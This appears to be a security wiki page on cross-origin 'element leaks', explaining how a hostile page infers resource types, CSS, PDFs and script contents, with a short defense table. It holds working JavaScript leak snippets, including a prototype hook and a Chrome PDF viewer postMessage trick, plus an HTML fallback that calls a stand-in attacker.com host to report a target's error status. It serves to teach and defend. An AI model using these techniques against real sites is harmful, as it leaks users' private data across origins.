Element leaks

Element leaks

Some HTML Elements might be used to leak a portion of data to a cross-origin page. For example, the below media resources can leak information about its size, duration, type.

It’s possible to differentiate between media types via unique property for a given media type. For example, it is videoWidth for a <video>, or duration for an <audio>. The below snippet shows an example code that returns the type of a resource.

async function getType(url) {
    // Detect if resource is audio or video
    let media = document.createElement("video");
    media.src = url;
    await new Promise(r=>setTimeout(r,50));
    if (media.videoWidth) {
    return "video";
    } else if (media.duration) {
    return "audio"
    }
    // Detect if resource is an image
    let image = new Image();
    image.src = url;
    await new Promise(r=>setTimeout(r,50));
    if (image.width) return "image";
}

Abusing CORB #

CORB is a feature of Chrome that makes responses empty if the wrong content type is used. This means that if the type is wrong it’s not cached. An ifCached function can be found in Cache Probing article.

async function isType(url, type = "script") {
  let error = false;
  // Purge url
  await ifCached(url, true);
  // Attempt to load resource
  let e = document.createElement(type);
  e.onerror = () => error = true;
  e.src = url;
  document.head.appendChild(e);
  // Wait for it to be cached if its allowed by CORB
  await new Promise(resolve => setTimeout(resolve, 500));
  // Cleanup
  document.head.removeChild(e);
  // Fix for "images" that get blocked differently.
  if (error) return false
  return ifCached(url);
}

Abusing getComputedStyle #

getComputedStyle can be used to read an embedded to the current page CSS style sheets. Including those loaded from different origins. This function just checks if there has been a style applied to the body. Run demo

async function isCSS(url) {
    let link = document.createElement('link');
    link.rel = 'stylesheet';
    link.type = 'text/css';
    link.href = url;
    let style1 = JSON.stringify(getComputedStyle(document.body));
    document.head.appendChild(link);
    await new Promise(resolve => setTimeout(resolve, 500));
    let style2 = JSON.stringify(getComputedStyle(document.body));
    document.head.removeChild(link);
    return (style1 !== style2);
}

PDF #

There are Open URL Parameters that allow some control over the content such as zoom, view, page, toolbar, nameddest. Firefox has also implemented search. For Chrome, a PDF can be detected with Frame Counting because the document is internally embedded into a page. Chrome also implements the PDF scripting API that can be used to confirm if the frame is a pdf. 1

async function isPDF(URL) {
    // Open to target
    let iframe = document.createElement('iframe');
    iframe.src = URL;
    document.body.appendChild(iframe);
    // Wait about 1.5 secounds to let the page load.
    await new Promise(resolve => setTimeout(resolve, 1500));
    // For Chrome a window opened to a pdf will always be 1.
    if (iframe.contentWindow.length !== 1) return false;
    let pdf;
    window.addEventListener("message", e => {
        // Detect if received a message from the Chrome PDF viewer.
        if (e.origin === 'chrome-extension://mhjfbmdgcfjbbpaeojofohoefgiehjai') pdf = true;
    });
    // Needed to start getting messages from the Chrome PDF viewer.
    iframe.contentWindow[0].postMessage("initialize", "*");
    // Wait for response from the Chrome PDF viewer.
    await new Promise(resolve => setTimeout(resolve, 1500));
    return pdf;
}

It’s also possible to abuse this API to send actions like getSelectedText, selectAll, print, getThumbnail, which potentially can leak information about the document’s contents.

let w = open(URL);
w[0].postMessage({type: 'print'}, "*");

info

The above techniques doesn’t seem to work in Firefox.

As a protection against leaking document’s content cross-origin, the responses are limited to documentLoaded and passwordPrompted for cross-origin requests.

Script tag #

When a cross-origin script is included on a page it’s not directly possible to read its contents. However, if a script uses any built-in functions, it’s possible to overwrite them and read their arguments which might leak valuable information 2.

let hook = window.Array.prototype.push;
window.Array.prototype.push = function() {
    console.log(this);
    return hook.apply(this, arguments);
}

When Javascript can’t be used #

If JavaScript is disabled it’s still possible to leak some information about cross-origin resources. For example, an <object> can be used to detect whether a resource responds with Error Code. What happens is that if a resource //example.org/resource returns an error in <object data=//example.org/resource>fallback</object> then fallback will be rendered 3 4. It’s possible to inject another <object> inside that will leak the information to an outside server, or detect it with CSS 5. The below code embeds //example.org/404 and if it responds with Error then a request to //attacker.com/?error is also made as a fallback.

<object data="//example.com/404">
  <object data="//attacker.com/?error"></object>
</object>

Defense #

Attack AlternativeSameSite Cookies (Lax)COOPFraming ProtectionsIsolation Policies
Type leaks✔️RIP 🔗 NIP

References #


  1. pdf_viewer.ts, link ↩︎

  2. The Unexpected Dangers of Dynamic JavaScript. link ↩︎

  3. HTML Standard, [3.2.5.2.6 Embedded content], link ↩︎

  4. Leaky Images: Targeted Privacy Attacks in the Web, [3.4 Linking User Identities], link ↩︎

  5. https://twitter.com/terjanq/status/1180477124861407234 ↩︎